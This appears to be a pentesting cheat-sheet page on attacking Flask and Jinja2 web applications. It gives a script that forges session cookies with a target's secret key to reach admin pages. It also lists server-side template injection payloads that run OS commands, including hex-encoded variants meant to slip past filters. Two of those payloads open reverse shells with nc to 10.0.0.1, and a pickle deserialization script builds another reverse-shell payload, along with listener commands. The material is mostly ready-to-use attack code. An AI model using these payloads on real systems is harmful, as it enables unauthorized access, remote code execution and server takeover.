Exploit Notes

Flask Jinja2 Pentesting

Last modified: 2023-03-19

SSTI Web

Flask is a micro web framework written in Python.

Common Directories

/app.py
/main.py
/modules.py
/modules/__init__.py
/modules/admin.py

1. Create a Python Virtual Environment

python3 -m venv myenv
source myenv/bin/activate

2. Install Packages

pip3 install flask requests waitress

3. Create a Python Script

For instance, create “test.py”.
Replace the "SECRET_KEY" value with the target Flask app's secret key.

#!/usr/bin/env python3
from flask import Flask, session, request
from waitress import serve
import requests, threading, time

app = Flask(__name__)
app.config["SECRET_KEY"] = "c53ac69e07ed112ecb788eb4dc831990"

@app.route("/")
def main():
    session["auth"] = "True"
    session["username"] = "test" # SSTI may be applied with "{{ 3*7 }}"
    return "Check you cookies", 200

# Flask setup/start
thread = threading.Thread(target = lambda: serve(app, port=9000, host="127.0.0.1"))
thread.setDaemon(True)
thread.start()

# Request
time.sleep(1)
print(requests.get("http://localhost:9000/").cookies.get("session"))

4. Run the Script

python3 test.py

The cookie value generated.

Copy and paste it into the Cookie of the HTTP header in browser as below.

Cookie: session=<generated_cookie_value>

Now we can login and access to admin page e.g. /admin.
After exploiting, deactivate the python virtual environment.

deactivate

Server-Side Template Injection (SSTI)

Sometimes, website may filter specific characters.
If so, URL encode the payload or convert to HEX.
In addition, it’s recommended to send requests using Burp Suite because web browsers automatically update the payload.

First, try below payloads.

{{ 4*2 }}
{{ config.items() }}

If success, you may be able to exploit with OS command injection.

{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}

{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}

{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')() }}

{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}

{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}

Reverse Shell

{{config.__class__.__init__.__globals__['os'].popen('mkfifo /tmp/ZTQ0Y; nc 10.0.0.1 443 0</tmp/ZTQ0Y | /bin/sh >/tmp/ZTQ0Y 2>&1; rm /tmp/ZTQ0Y').read()}}

{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')|attr('read')() }}

SSTI with Error Page

If the website displays an error page (404, 403, etc.) when we access to the page which does not exists, the path may be reflected in the error page. For example, when we attempt to access to /example.html which does not exist, the error page will show messages like the following.

No result for /example.html

As you know, we can insert the malicious program using SSTI.
For instance, try to access http://example.com/{{ 2*3 }}.
The error page will reflect the result of "2*3" as follow.

No result for 6

The session of cookie in the Flask webapp can be decoded.


Python Pickle RCE

reference: https://davidhamann.de/2020/04/05/exploiting-python-pickle/

The python “pickle” module, that serialize and deserialize Python object, is vulnerable to remote code execution. If the website uses this module, we may be able to execute arbitrary code.

Below is the Python script (”mypickle.py”) to generate the payload to reverse shell.

import pickle
import base64
import os

class RCE:
	def __reduce__(self):
		cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f')
		return os.system, (cmd,)

if __name__ == '__main__':
	pickled = pickle.dumps(RCE())
	print(base64.urlsafe_b64encode(pickled))

Now run this script to generate the Base64 payload.

python3 mypickle.py

Copy the ourput base64 string and paste it to where the payload affects in website.
Before reloading the web page, start a listener in local machine.

nc -lvnp 4444

Then reload the page. We should get a shell in local terminal.

Tools by HDKS

Fuzzagotchi

Automatic web fuzzer.

aut0rec0n

Auto reconnaissance CLI.

Hash Cracker

Hash identifier.